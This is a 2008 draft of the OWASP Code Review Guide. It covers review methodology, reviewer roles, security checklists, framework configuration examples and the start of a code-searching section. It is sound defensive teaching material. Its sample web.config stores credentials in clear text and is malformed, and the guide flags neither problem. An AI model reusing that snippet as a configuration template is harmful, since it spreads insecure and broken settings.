OWASP CODE REVIEW GUIDE – RC 2

2008 DRAFT

Table of Contents

FOREWORD BY JEFF WILLIAMS, OWASP CHAIR

Many organizations have realized that their code is not as secure as they may have thought. Now they're starting the difficult work of verifying the security of their applications. There are four basic techniques for analyzing code - automated scanning, manual penetration testing, static analysis, and manual code review.

This OWASP Guide is focused on the last of these techniques. Of course, all of these techniques have their strengths, weaknesses, sweet spots, and blind spots. Arguments about which technique is the best are like arguing whether a hammer or saw is more valuable when building a house. If you try to build a house with just a hammer, you'll do a terrible job.

The OWASP guides are intended to teach you how to use these techniques. But the fact that they are separate shouldn't be an indicator that they should be used alone. The Building Guide shows your project how to architect and build a secure application, this Code Review Guide tells you how to verify the security of your application's source code, and the Testing Guide shows you how to verify the security of your running application.

Security moves too fast for traditional books to be of much use. But OWASP's collaborative environment allows us to keep up to date. There are hundreds of contributors to the OWASP Guides and we make over a thousand updates to our materials every month. We're committed to making high quality application security materials available to everyone. It's the only way we'll ever make any real progress on application security as a software community.

Why Code Review?

I've been performing security code reviews (along with the other techniques) since 1998, and I've found thousands of serious vulnerabilities. In my experience, design documentation, code comments, and even developers themselves are often misleading. The code doesn't lie. Actually, the code is your only advantage over the hackers. Don't give up this advantage and rely only on external penetration testing. Use the code.

Despite the many claims that code review is too expensive or time consuming, there is no question that it is the fastest and most accurate way to find and diagnose many security problems. There are also dozens of serious security problems that simply can't be found any other way. I can't emphasize the cost-effectiveness of security code review enough. Consider which of the approaches will identify the largest amount of the most significant security issues in your application, and security code review quickly becomes the obvious choice. This applies no matter what amount of money you can apply to the challenge.

Every application is different, that's why I believe it's important to to empower the individuals verifying security to use the most cost-effective techniques available. One common pattern is to use security code review to find a problem and penetration testing to prove that it is exploitable. Another pattern is finding a potential issue with penetration testing, and then verifying the issue by finding and examining the code. I strongly believe that the "combined" approach is the best choice for most applications.TBD

Getting Started

It's important to recognize that code is a rich expressive language that can be used to build anything. Analyzing arbitrary code is a difficult job that requires a lot of context. It's a lot like searching a legal contract for loopholes. So while it may seem tempting to rely on an automated tool that simply finds security holes, it's important to realize that these tools are more like spell-checkers or grammar-checkers. While important, they don't understand the context, and miss many important security issues. Still, running tools is a great way to gather data that you can use in your code review.

All you need to get started is a copy of the software baseline, a modern IDE, and the ability to think about the ways security holes get created. I strongly recommend that before you look at any code, you think hard about what is most important to your application. Then you verify that the security mechanisms are present, free from flaws, and properly used. You'll trace through the control and data flows in the application, thinking about what might go wrong.

OWASP Guides

The OWASP guides are intended to teach you how to use these techniques. But the fact that they are separate shouldn't be an indicator that they should be used alone. The Building Guide shows your project how to architect and build a secure application, this Code Review Guide tells you how to verify the security of your application's source code, and the Testing Guide shows you how to verify the security of your running application.

Security moves too fast for traditional books to be of much use. But OWASP's collaborative environment allows us to keep up to date. There are hundreds of contributors to the OWASP Guides and we make over a thousand updates to our materials every month. We're committed to making high quality application security materials available to everyone. It's the only way we'll ever make any real progress on application security as a software community.

Call to Action

If you're building software, I strongly encourage you to get familiar with the securguidance in this document. If you find errors, please add a note to the discussion page or make the change yourself. You'll be helping thousands of others who use this guide.

Please consider joining us as an individual or corporate member so that we can continue to produce materials like this code review guide and all the other great projects at OWASP.

Thank you to all the past and future contributors to this guide, your work will help to make applications worldwide more secure.

-- Jeff Williams, OWASP Chair, October 17, 2007

WELCOME TO THE OWASP CODE REVIEW GUIDE 1.0

"*I'm glad software developers don't build cars*"
-- Eoin Keary, OWASP Code Review Guide project lead

OWASP thanks the authors, reviewers, and editors for their hard work in bringing this guide to where it is today. If you have any comments or suggestions on the Code review Guide, please e-mail the Code review Guide mail list:

https://lists.owasp.org/mailman/listinfo/owasp-codereview

COPYRIGHT AND LICENSE

REVISION HISTORY

The Code review guide originated in 2006 and as a splinter project from the testing guide. It was conceived by Eoin Keary in 2005 and transformed into a wiki.

September 30, 2007

"OWASP Code Review Guide", Version 1.0

EDITORS

Eoin Keary: OWASP Code Review Guide 2005 - Present

AUTHORS

Jenelle Chapman

Dinis Cruz

Andrew van der Stock

Eoin Keary

Jeff Williams

REVIEWERS

TRADEMARKS

- Java, Java Web Server, and JSP are registered trademarks of Sun Microsystems, Inc.
- Microsoft is a registered trademark of Microsoft Corporation.
- OWASP is a registered trademark of the OWASP Foundation

All other products and company names may be trademarks of their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

SPRING OF CODE 2007

The Code review guide is proudly sponsored by the OWASP Spring of Code (SpOC) 2007. For more information please see http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007

PROJECT CONTRIBUTORS

The OWASP Code Review project was conceived by Eoin Keary the OWASP Ireland Founder and Chapter Lead. We are actively seeking techies to add new sections as new web technologies emerge. If you are interested in volunteering for the project, or have a comment, question, or suggestion, please drop me a line mailto:eoin.keary@owasp.org

VOLUNTEERS NEEDED

Yes please, drop me a line. Need help on this one, don't be shy, all help appreciated

SUBSCRIBE TO THE LIST

Go here to subscribe to the maillist.

http://lists.owasp.org/mailman/listinfo/owasp-codereview

ABOUT THE OPEN WEB APPLICATION SECURITY PROJECT

Overview

The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications that can be trusted. All of the OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We advocate approaching application security as a people, process, and technology problem because the most effective approaches to application security include improvements in all of these areas. We can be found at http://www.owasp.org.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost-effective information about application security. OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. Similar to many open-source software projects, OWASP produces many types of materials in a collaborative, open way. The OWASP Foundation is a not-for-profit entity that ensures the project's long-term success. For more information, please see the pages listed below:

- Contact for information about communicating with OWASP
- Contributions for details about how to make contributions
- Advertising if you're interested in advertising on the OWASP site
- How OWASP Works for more information about projects and governance
- OWASP brand usage rules for information about using the OWASP brand

STRUCTURE

The OWASP Foundation is the not-for-profit (501c3) entity that provides the infrastructure for the OWASP community. The Foundation provides our servers and bandwidth, facilitates projects and chapters, and manages the worldwide OWASP Application Security Conferences.

LICENSING

All OWASP materials are available under an approved open source license. If you opt to become an OWASP member organization, you can also use the commercial license that allows you to use, modify, and distribute all OWASP materials within your organization under a single license.

For more information, please see the **OWASP Licenses** page.

PARTICIPATION AND MEMBERSHIP

Everyone is welcome to participate in our forums, projects, chapters, and conferences. OWASP is a fantastic place to learn about application security, to network, and even to build your reputation as an expert.

If you find the OWASP materials valuable, please consider supporting our cause by becoming an OWASP member. All monies received by the OWASP Foundation go directly into supporting OWASP projects.

For more information, please see the **Membership** page.

PROJECTS

OWASP's projects cover many aspects of application security. We build documents, tools, teaching environments, guidelines, checklists, and other materials to help organizations improve their capability to produce secure code.

For details on all the OWASP projects, please see the **OWASP Project** page.

OWASP PRIVACY POLICY

Given OWASP's mission to help organizations with application security, you have the right to expect protection of any personal information that we might collect about our members.

In general, we do not require authentication or ask visitors to reveal personal information when visiting our website. We collect Internet addresses, not the e-mail addresses, of visitors solely for use in calculating various website statistics.

We may ask for certain personal information, including name and email address from persons downloading OWASP products. This information is not divulged to any third party and is used only for the purposes of:

- Communicating urgent fixes in the OWASP Materials
- Seeking advice and feedback about OWASP Materials

- Inviting participation in OWASP’s consensus process and AppSec conferences

OWASP publishes a list of member organizations and individual members. Listing is purely voluntary and “opt-in”. Listed members can request not to be listed at any time.

All information about you or your organization that you send us by fax or mail is physically protected. If you have any questions or concerns about our privacy policy, please contact us at owasp@owasp.org

CODE REVIEW GUIDE HISTORY

The Code Review guide is the result of initially contributing and leading the Testing Guide. Initially it was thought to place Code review and testing into the same guide, seemed like a good idea at the time. But the topic called secure code review got too big and evolved into its own stand alone guide.

The code review guide was started in 2006. The code review team consists of a small but talented group of volunteers who should really get out more often.

It was found that a proper code review function which is integrated into the software development process /Lifecycle (SDLC) produced remarkably better code from a security standpoint. It is also cheaper and looking at the "Security @ source" industry it seems that the trend in application security is heading in this direction.

"Secure code review is the sign of a mature SDLC and in our view much more sustainable and controllable than the pen and patch model"

The guide does not cover all languages; it mainly focuses on .NET and Java but has a little C/C++ and PHP thrown in also. To write a guide that covers all languages would take too long and be too big.

METHODOLOGY

PREFACE

This document is not a “How to perform a Secure Code review” walkthrough but more a guide on how to perform a successful review. Knowing the mechanics of code inspection is a half the battle but I’m afraid people is the other half.

To Perform a proper code review, to give value to the client from a risk perspective and not from an academic or text book perspective we must understand what we are reviewing.

Applications may have faults but the client wants to know the “real risk” and not necessarily what the security textbooks say.

Albeit there are real vulnerabilities in real applications out there and they pose real risk but how do we define real risk as opposed to best practice?

This document describes how to get the most out of a secure code review. What is important when managing an engagement with a client and how to keep your eye on the ball the see the “wood from the trees”.

INTRODUCTION

The only possible way of developing secure software and keeping it secure going into the future is to make security part of the design. When cars are designed safety is considered and is now a big selling point for people buying a new car, “How safe is it?” would be a question a potential buyer may ask, also look at the advertising referring to the “Star” rating for safety a brand/model of car has.

Unfortunately the software industry is not as evolved and hence people still buy software without paying any regard to the security aspect of the application.

Every day more and more vulnerabilities are discovered in popular applications, which we all know and use and even use for private transactions over the web.

I’m writing this document not from a purist point of view. Not everything you may agree with but from experience it is rare that we can have the luxury of being a purist in the real world.

Many forces in the business world do not see value in spending a proportion of the budget in security and factoring some security into the project timeline.

The usual one liners we hear in the wilderness:

"We never get hacked (that I know of), we don't need security"

"We never get hacked, we got a firewall".

Question: "How much does security cost"? Answer: "How much shall no security cost"?

"Not to know is bad; not to wish to know is worse."

Code inspection is a fairly low-level approach to securing code but is very effective.

THE BASICS: WHAT WE KNOW WE DON'T KNOW AND WHAT WE KNOW WE KNOW.

"...we know, there are known known's; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns -- the ones we don't know we don't know."
- Donald Rumsfeld.

WHAT IS SECURE CODE REVIEW?

Secure code review is the process of auditing code for an application on a line by line basis for its security quality. Code review is a way of ensuring that the application is developed in an appropriate fashion so as to be "self defending" in its given environment.

Secure Code review is a method of assuring secure application developers are following secure development techniques. A general rule of thumb is that a pen test should not discover any additional application vulnerabilities relating to the developed code after the application has undergone a proper secure code review.

Secure code review is a manual process. It is labor intensive and not very scalable but it is accurate if performed by humans (and some expensive tools).

Tools can be used to perform this task but they always need human verification. Tools do not understand context, which is the keystone of secure code review. Tools are good at assessing large amounts of code and pointing out possible issues but a person needs to verify every single result and also figure out the false positives and worse again the false negatives.

There are many source code review tool vendors. None have created a “silver bullet” at a reasonable cost. Vendor tools that are effective cost upwards around $60,000 USD per developer seat.

Code review can be broken down into a number of discrete phases.

1. Discovery (Pre Transaction analysis).
2. Transactional analysis.
3. Post transaction analysis.
4. Procedure peer review.
5. Reporting & Presentation.

LAYING THE GROUND WORK

(Ideally the reviewer should be involved in the design phase of the application, but this is not always possible so we assume the reviewer was not.)

There are two scenarios to look at.

1. The security consultant was involved since project inception and has guided and helped integrate security into the SDLC.
2. The security consultant is brought into the project near project end and is presented with a mountain of code, has no insight into the design, functionality or business requirements.

So we’ve got 100K lines of code for secure code inspection, how do we handle this?

The most important step is collaboration with developers. Obtaining information from the developers is the most time saving method for performing an accurate code review in a timely manner.

Performing code review can feel like an audit, and everybody hates being audited. The way to approach this is to create an atmosphere of collaboration between the reviewer, the development team & vested interests. Portraying an image of an advisor and not a policeman is very important if you wish to get full co-operation from the development team.

"*Help me help you*" is the approach and ideal that needs to be communicated.

DISCOVERY: GATHERING THE INFORMATION

As mentioned above talking to developers is arguably the most accurate and definitely the quickest way of gaining insight into the application.

A culture of collaboration between the security analyst and the development team is important to establish.

Other artifacts required would be design documents, business requirements, functional specifications and any other relating information.

BEFORE WE START:

The reviewer(s) need to be familiar with:

1. **Code**: The language used, the features and issues of that language from a security perspective. The issues one needs to look out for and best practices from a security and performance perspective.

2. **Context**: They need to be familiar with the application being reviewed. All security is in context of what we are trying to secure. Recommending military standard security mechanisms on an application that vends apples would be over-kill, and out of context. What type of data is being manipulated or processed and what would the damage to the company be if this data was compromised. Context is the "*Holy Grail*" of secure code inspection and risk assessment…we'll see more later.

3. **Audience**: From 2 (above) we need to know the users of the application, is it externally facing or internal to "Trusted" users. Does this application talk to other entities (machines/services)? Do humans use this application?

4. **Importance**: The availability of the application is also important. Shall the enterprise be affected in any great way if the application is "bounced" or shut down for a significant or insignificant amount of time?

CONTEXT, CONTEXT, CONTEXT

The context in which the application is intended to operate is a very important issue in establishing potential risk.

Defining context should provide us with the following information:

- Establish the importance of application to enterprise.
- Establish the boundaries of the application context.
- Establish the trust relationships between entities.
- Establish potential threats and possible countermeasures.

So we can establish something akin to a threat model. Take into account where our application sits, what it's expected to do and who uses it.

Simple questions like:

*“**What type/how sensitive is the data/asset contained in the application?**”*:

This is a keystone to security and assessing possible risk to the application. How desirable is the information? What effect would it have on the enterprise if the information were compromised in any way?

*“**Is the application internal or external facing?**”*, *“**Who uses the application; are they trusted users?**”*

This is a bit of a false sense of security as attacks take place by internal/trusted users more often than is acknowledged. It does give us context that the application *should* be limited to a finite number of identified users but its not a guarantee that these users shall all behave properly.

*“**Where does the application host sit**?”*

Users should not be allowed past the DMZ into the LAN without being authenticated. Internal users also need to be authenticated. No authentication = no accountability and a weak audit trail.

If there are internal and external users, what are the differences from a security standpoint? How do we identify one from another. How does authorisation work?

"***How important is this application to the enterprise?***".

Is the application of minor significance or a Tier A / Mission critical application, without which the enterprise would fail? Any good web application development policy would have additional requirements for different applications of differing importance to the enterprise. It would be the analyst's job to ensure the policy was followed from a code perspective also.

A useful approach is to present the team with a checklist, which asks the relevant, questions pertaining to any web application.

THE CHECKLIST

Defining a generic checklist which can be filled out by the development team is of high value is the checklist asks the correct questions in order to give us context. The checklist should cover the "Usual Suspects" in application security such as:

- Authentication
- Authorization
- Data Validation (a*nother "holy grail"*)
- Session management
- Logging
- Error handling
- Cryptography
- Topology (where is this app in the network context).

An example can be found:

http://www.nemozzang.com/pub/Guide%20Line/OWASP/designreviewchecklist.doc

The checklist is a good barometer for the level of security the developers have attempted or thought of.

STEPS AND ROLES

ROLES

Code reviews are carried out by personnel in four roles: author, moderator, reader, and scribe. There are typically reviewers who are simply inspectors, focused on finding defects in the code, who do not fit in any of the four roles. Depending on the size of your inspection team and the formality of your inspection process, some people may serve in multiple roles at the same time. However, if you have a large enough team, it is useful to assign each role to a different person so each person can focus on their duties.

1. **Moderator**: The Moderator is the key role in a code review. The moderator is responsible for selecting a team of reviewers, scheduling the code review meeting, conducting the meeting, and working with the author to ensure that necessary corrections are made to the reviewed document.
2. **Author**: The Author wrote the code that is being reviewed. The author is responsible for starting the code review process by finding a Moderator. The role of Author must be separated from that of Moderator, Reader, or Recorder to ensure the objectivity and effectiveness of the code review. However, the Author serves an essential role in answering questions and making clarifications during the review and making corrections after the review.
3. **Reader**: The Reader presents the code during the meeting by paraphrasing it in his own words. It's important to separate the role of Reader from Author, because it's too easy for an author to explain what he meant the code to do instead of explaining what it actually does. The reader's interpretation of the code can reveal ambiguities, hidden assumptions, poor documentation and style, and other errors that the Author would not be likely to catch on his own.
4. **Scribe**: The Scribe records all issues raised during the code review. Separating the role of Scribe from the other roles allows the other reviewers to focus their entire attention on the code.

STEPS

Code reviews consist of the following four steps:

1. **Initialization**: The Author informs a Moderator that a deliverable will be ready for inspection in the near future. The Moderator selects a team of inspectors and assigns roles to them. The Author and the Moderator together prepare a review package consisting of the code to be reviewed, documentation, review checklists, coding rules, and other materials such as the output of static analysis

tools. The Moderator will announce the time, place, and duration for the code review meeting.

2. **Preparation**: After receiving the review package, the inspectors study the code individually to search for defects. Preparation should take about as long as the duration of the meeting. Some less formal code review techniques skip the preparation phase.
3. **Meeting**: The Moderator initiates the meeting, then the Reader describes the code to the participants. After each segment of code is presented, reviewers will bring up any issues they found during Preparation or discovered during the meeting. The interaction between reviewers during the meeting will usually bring up issues that were not discovered during the Preparation step. The Scribe notes each defect with enough detail for the Author to address it afterwards. It is the responsibility of the Moderator to keep the meting focused on defects, ensuring that the participants do not attempt to produce solutions during the meeting instead. Some less formal code review steps skip the meeting phase, choosing instead to e-mail the code to one or more reviewers who return comments without ever meeting as a group.
4. **Corrections**: The Author addresses the defects recorded during the meeting, and the Moderator checks the corrections to ensure that all problems are resolved. If the number of defects raised was large, the Moderator may decide to schedule a review of the revised code.

CODE REVIEW PROCESS

PREFACE

Code reviews vary widely in their level of formality. Reviews can be as informal as inviting a friend to help look for a hard to find bug, and they can be as formal as a software inspection process with trained teams, assigned roles and responsibilities, and a formal metric and quality tracking program.

In *Peer Reviews in Software*, Karl Wiegers lists seven review processes from least to most formal:

1. Ad hoc review
2. Passaround
3. Pair programming
4. Walkthrough
5. Team review
6. Inspection

MATURE SECURE CODE REVIEW (SCR) MODEL

Throughout the SDLC there are points at which an application security consultant should get involved. These points, "touch points" can be used to investigate the status of the code being developed from a security standpoint. The reason for intervening at regular intervals is that potential issues can be detected early on in the development life cycle and hence total cost of ownership (TCO) is less in the long term.

Waterfall SDLC example

1. Requirements definition
    1. Functional specification
2. Design
    1. Detailed design specification
3. Development
    1. Coding
    2. Unit test
4. Test
    1. functional Testing
    2. System testing
    3. integration testing

    4. UAT (User acceptance testing
5. Deployment
    1. Change control
6. Maintenance

MINIMAL RESOURCE AVAILABLE CODE REVIEW FOR WEB APPLICATIONS MODEL

Very often, risk managers are tasked to manually code review large applications with minimal time and resources. This guide will focus on streamlining the manual code review process and outline the bare minimal essentials that are required for review.

Manual Code Review should at LEAST focus on:

1. Authorization
2. Access Control
3. Input Validation
4. Error Handling
5. Session Management
6. Form Keys or Frequent Session Rotation (for CSRF defense)
7. Proper Application Logging

TRANSACTION ANALYSIS

Transactional Analysis:

"For every input there will be an equal and opposite output (Well sort of)"

A Major part of actually performing a Secure Code inspection is performing a transactional analysis. An application takes inputs and produces output of some kind. Attacking applications is down to using the streams for input and trying to sail a battleship up them that the application is not expecting. Firstly all input to the code needs to be defined. Input for example can be:

- Browser input (HTTP)
- Cookies
- Other Entity (machines/external processes).
- Property files
- ….

It is the input that changes the state of an application. It is the input streams attackers use to attack applications. Without any input into any system the system would be 100% secure? (Probably not).

So we need to define the input points, the path the input takes in the application and any output resulting from the input received.

Transactional analysis is of paramount importance when performing code inspection. Any input stream that is overlooked may be a potential door for an attacker.

Transactional analysis includes any cookie or state information passed between the client and server and not just information inputted by the user, the payload.

Take into account any potential errors that can occur in the application for a given input, are the errors being caught?

Transactional Analysis includes dynamic and static data flow analysis: Where and when are variables set and how the variables are used throughout the workflow, how attributes of objects and parameters might affect other data within the program. It determines if the parameters, method calls, and data exchange mechanisms implement the required security.

All transactions within the application need to be identified and analyzed along with the relevant security functions they invoke. The areas that are covered during transaction analysis are:

- Authentication
- Authorisation
- Cookie Management
- Data/Input Validation from all external sources.
- Error Handling /Information Leakage
- Logging /Auditing
- Cryptography (Data at rest and in transit)
- Secure Code Environment
- Session Management (Login/Logout)

GENERAL PRINCIPLES (WHAT TO LOOK FOR)

For each of the areas above a reviewer must look at the following principles in the enforcement of the requirement:

Authentication:

- Ensure all internal and external connections (user and entity) go through an appropriate and adequate form of authentication. Be assured that this control cannot be bypassed.
- Ensure all pages enforce the requirement for authentication.
- Ensure that whenever authentication credentials or any other sensitive information is passed, only accept the information via the HTTP “POST” method and will not accept it via the HTTP “GET” method.
- Any page deemed by the business or the development team as being outside the scope of authentication should be reviewed in order to assess any possibility of security breach.
- Ensure that authentication credentials do not traverse the wire in clear text form.
- Ensure not development/debug backdoors are present in production code.

Authorization:

- Ensure that there are authorization mechanisms in place.
- Ensure that the application has clearly defined the user types and the rights of said users.
- Ensure there is a least privilege stance in operation.
- Ensure that the Authorization mechanisms work properly, fail securely, and cannot be circumvented.
- Ensure that authorisation is checked on every request.

- Ensure not development/debug backdoors are present in production code.

Cookie Management:

- Ensure that sensitive information is not comprised.
- Ensure that unauthorized activities cannot take place via cookie manipulation.
- Ensure that proper encryption is in use.
- Ensure secure flag is set to prevent accidental transmission over “the wire” in a non-secure manner.
- Determine if all state transitions in the application code properly check for the cookies and enforce their use.
- Ensure the session data is being validated.
- Ensure cookie contains as little private information as possible.
- Ensure entire cookie should be encrypted if sensitive data is persisted in the cookie.
- Define all cookies being used by the application, their name and why they are needed.

Data/Input Validation:

- Ensure that a DV mechanism is present.
- Ensure all input that can (and will) be modified by a malicious user such as http headers, input fields, hidden fields, drop down lists & other web components are properly validated.
- Ensure that the proper length checks on all input exist.
- Ensure that all fields, cookies, http headers/bodies & form fields are validated.
- Ensure that the data is well formed and contains only known good chars is possible.
- Ensure that the data validation occurs on the server side.
- Examine where data validation occurs and if a centralized model or decentralized model is used.
- Ensure there are no backdoors in the data validation model.
- ***Golden Rule: All external input, no matter what it is, is examined and validated.***

Error Handling/Information leakage:

- Ensure that all method/function calls that return a value have proper error handling and return value checking.
- Ensure that exceptions and error conditions are properly handled.

- Ensure that no system errors can be returned to the user.
- Ensure that the application fails in a secure manner.
- Ensure resources are released if an error occurs.

Logging/Auditing:

- Ensure that no sensitive information is logged in the event of an error.
- Ensure the payload being logged is of a defined maximum length and that the logging mechanism enforces that length.
- Ensure no sensitive data can be logged; E.g. cookies, HTTP "GET" method, authentication credentials.
- Examine if the application will audit the actions being taken by the application on behalf of the client particularly and data manipulation/Create, Update, Delete (CUD) operations.
- Ensure successful & unsuccessful authentication is logged.
- Ensure application errors are logged.
- Examine the application for debug logging with the view to logging of sensitive data.

Cryptography:

- Ensure no sensitive data is transmitted in the clear, internally or externally.
- Ensure the application is implementing known good cryptographic methods.

Secure Code Environment:

- Examine the file structure, are any components that should not be directly accessible available to the user.
- Examine all memory allocations/de-allocations.
- Examine the application for dynamic SQL and determine is vulnerable to injection.
- Examine the application for "main()" executable functions and debug harnesses/backdoors
- Search for commented out code, commented out test code, which may contain sensitive information.
- Ensure all logical decisions have a default clause.
- Ensure no development environment kit is contained on the build directories.

- Search for any calls to the underlying operating system or file open calls and examine the error possibilities.

Session management:

- Examine how and when a session is created for a user, unauthenticated and authenticated.
- Examine the session ID and verify is a complex enough to fulfill requirements regarding strength.
- Examine how sessions are stored: E.g. In a database, in memory etc.
- Examine how the application tracks sessions.
- Determine the actions the application takes if an invalid session ID occurs.
- Examine session invalidation.
- Determine how multithreaded/multi-user session management is performed.
- Determine the session HTTP inactivity timeout.
- Determine how the log-out functionality functions.

UNDERSTAND WHAT YOU ARE REVIEWING:

Many modern applications are developed on frameworks. These frameworks provide the developer less work to do as the framework does much of the "House Keeping". So the objects developed by the development team shall extend the functionality of the framework. <u>It is here that the knowledge of a given framework and language which the framework and application is implemented in is of paramount importance</u>. Much of the transactional functionality may not be visible in the developer's code and handled in "Parent" classes.

The analyst must be aware and knowledgeable of the underlying framework

For example:

Java:

In struts the *struts-config.xml* and the *web.xml* files are the core points to view the transactional functionality of an application.

```
<?xml version="1.0" encoding="ISO-8859-1" ?>
   <!DOCTYPE struts-config PUBLIC
          "-//Apache Software Foundation//DTD Struts Configuration 1.0//EN"
          "http://jakarta.apache.org/struts/dtds/struts-config_1_0.dtd">
   <struts-config>
    <form-beans>
        <form-bean name="login" type="test.struts.LoginForm" />
    </form-beans>
    <global-forwards>
    </global-forwards>
    <action-mappings>
      <action
        path="/login"
        type="test.struts.LoginAction" >
   <forward name="valid" path="/jsp/MainMenu.jsp" /> <forward name="invalid"
   path="/jsp/LoginView.jsp" /> </action>
    </action-mappings>
   <plug-in className="org.apache.struts.validator.ValidatorPlugIn">
    <set-property property="pathnames"
   value="/test/WEB-INF/validator-rules.xml, /WEB-INF/validation.xml"/>
   </plug-in>
   </struts-config>
```

The *struts-config.xml* file contains the action mappings for each HTTP request while the *web.xml* file contains the deployment descriptor.

Example: The struts framework has a validator engine, which relies on regular expressions to validate the input data. The beauty of the validator is that no code has to be written for each form bean. (Form bean is the java object which received the data from the HTTP request). The validator is not enabled by default in struts. To enable the validator a plug-in must be defined in the <plug-in> section of struts-config.xml in Red above. The property defined tells the struts framework where the custom validation rules are defined (validation.xml) and a definition of the actual rules themselves (validation-rules.xml).

Without a proper understanding of the struts framework and by simply auditing the java code one would net see any validation being executed and one does not see the relationship between the defined rules and the java functions.

The action mappings in Blue define the action taken by the application upon receiving a request. Here, above we can see that when the URL contains /login the ***LoginAction*** shall be called. From the action mappings we can see the transactions the application performs when external input is received.

.NET:

ASP.NET/ IIS applications use an optional XML-based configuration file named *web.config*, to maintain application configuration settings. This covers issues such as authentication, authorisation, Error pages, HTTP settings, debug settings, web service settings etc..

Without knowledge of these files a transactional analysis would be very difficult and not accurate.

Optionally, you may provide a file *web.config* at the root of the virtual directory for a Web application. If the file is absent, the default configuration settings in *machine.config* will be used. If the file is present, any settings in *web.config* will override the default settings.

Example of the web.config file:

```
<authentication mode="Forms">
  <forms name="name"
        loginUrl="url"
        protection="Encryption"
        timeout="30" path="/" >
        requireSSL="true|"
        slidingExpiration="false">
    <credentials passwordFormat="Clear">
      <user name="username" password="password"/>
    </credentials>
  </forms>
  <passport redirectUrl="internal"/>
</authentication>
```

OK so from this config file snippet we can see that:

authentication mode: The default authentication mode is ASP.NET forms-based authentication.

loginUrl: Specifies the URL where the request is redirected for logon if no valid authentication cookie is found.

protection: Specifies that the cookie is encrypted using 3DES or DES but DV is not performed on the cookie. Beware of plaintext attacks!!

timeout: Cookie expiry time in minutes

The point to make here is that many of the important security settings are not set in the code per se but in the framework configuration files. Knowledge of the framework is of paramount importance when reviewing framework-based applications.

HOW TO WRITE AN APPLICATION SECURITY FINDING

An application security "finding" is how an application security team communicates information to a software development organization. Findings may be vulnerabilities, architectural problems, organization problems, failure to follow best practices or standards, or "good" practices that deserve recognition.

CHOOSE A GREAT TITLE

When writing an application security finding, you should choose a title that captures the issue clearly, succinctly, and convincingly for the intended audience. In general, it's best to phrase the title in a positive way, such as "Add access control to business logic" or "Encode output to prevent XSS.

IDENTIFY THE LOCATION OF THE VULNERABILITY

The finding should be as specific as possible about the location in both the code and as a URL. If the finding represents a pervasive problem, then the location should provide many examples of actual instances of the problem.

DETAIL THE VULNERABILITY

The finding should provide enough detail about the problem that anyone can:

- understand the vulnerability
- understand possible attack scenarios
- know the key factors driving likelihood and impact

DISCUSS THE RISK

There is value in both assigning a qualitative value to each finding and further discussing why this value was assigned. Some possible risk ratings are:

- Critical
- High
- Moderate
- Low

Justifying the assigned risk ratings is very important. This will allow stakeholders (especially non-technical ones) to gain more of an understanding of the issue at hand. Two key points to identify are:

- Likelihood (ease of discovery and execution)
- Business/Technical impact

You should establish a system for evaluating likelihood and impact. Microsoft has published their STRIDE/DREAD model and it makes a good starting point. However, most organizations find that they need to add/delete factors, tailor factors, and perhaps weight factors for their organization.

SUGGEST REMEDIATIONS

- alternatives
- include effort required
- discuss residual risk

INCLUDE REFERENCES

- Important note: if you use OWASP materials for any reason, you must follow the terms of our license

USE A POSITIVE TONE

Personally, I find all of these lists (the SANS Top 20, the old Top 10, the old Guide, etc) very negative - which is the way they were designed. Even the chapter headings in the new book from Howard and LeBlanc are negative.

A few years ago, that's how I thought, too. However, I've moved on. Sure we need to tell people, don't do X when it is necessary, but I think human nature works better when ideas are framed in a positive way. Certainly with business types who don't (yet) understand risk properly. Read this:

http://www.asktog.com/columns/047HowToWriteAReport.html

I write many reports which occasionally detail pretty bad news for the recipients. Typically, they are not technical people (nor necessarily should they be - well-written reports should be understandable by lay people). Tog's essay was an eye opener for me and I wish I'd read it sooner. With my more positive approach, I'm getting greater traction and things are getting fixed. Before, they'd often go "it's all too hard, we accept this risk, next!"

I strongly believe we are here to enable secure business, not get in the way. Too many security folks* forget that we exist to make sure that ordinary folks don't lose money, don't see their details lost to identity thieves, and don't lose privacy. "Thou Shalt Not ..." lists don't really work in this "enable secure business" ideology.

That's why the Guide has moved from negative titles to positive or neutral titles. I've tried as hard as I can do phrase the issue in terms of "This is the business reason why we check for this issue.

Check X. Do Y", rather than say "Faulty authorization. Don't do X. It's bad. M'kay?".

Only a few times I resorted to "don't do X" when it was truly unavoidable and that's a few times too many. Hopefully, by Guide 2.1 I can make it even more positive.

CRAWLING CODE

Crawling code is the practice of scanning a code base of the review target in question. It is in effect looking for key pointers wherein possible security vulnerability might reside. Certain API's are related to interfacing to the external world or file IO or user management which are key areas for an attacker to focus on. In crawling code we look for API relating to these areas. We also need to look for business logic areas which may cause security issues but generally these are bespoke methods which have bespoke names and can not be detected directly, even though we may touch on certain methods due to their relationship with a certain key API.

Also we need to look for common issues relating to a specific language. Issues that may not be *security* related but which may affect the stability/availability of the application in the case of extraordinary circumstances. Other issues when performing a code review are areas such a simple copyright notice in order to protect ones intellectual property.

Crawling code can be done manually or in an automated fashion using automated tools. Tools as simple as grep or wingrep can be used. Other tools are available which would search for key words relating to a specific programming language.

The following sections shall cover the function of crawing code for Java/J2EE and .NET This section is best used in conjunction with the transactional analysis section detailed also in this guide.

Retrieved from "https://www.owasp.org/index.php/Introduction"

SEARCHING FOR KEY INDICATORS

The basis of the code review is to locate and analyse areas of code which may have application security implications. Assuming the code reviewer has a thorough understanding of the code, what it is intended to do and the context upon which it is to be used, firstly one needs to sweep the code base for areas of interest.

This can be done by performing a text search on the code base looking for keywords relating to API's and functions. Below is a guide for .NET framework 1.1 & 2.0

SEARCHING FOR CODE IN .NET

Firstly one needs to be familiar with the tools one can use in order to perform text searching following on from this one need to know what to look for.

In this section we will assume you have a copy of Visual Studio (VS) .NET at hand. VS has two types of search "**Find in Files**" and a cmd line tool called **Findstr**

The test search tools in XP is not great in my experience and if one has to use this make sure SP2 in installed as it works better. To start off one should scan thorough the code looking for common patterns or keywords such as "User", "Password", "Pswd", "Key", "Http", etc... This can be done using the "Find in Files" tool in VS or using findstring as follows:

[Find In Files HERE]

findstr /s /m /i /d:c:\projects\codebase\sec "http" *.*

HTTP REQUEST STRINGS

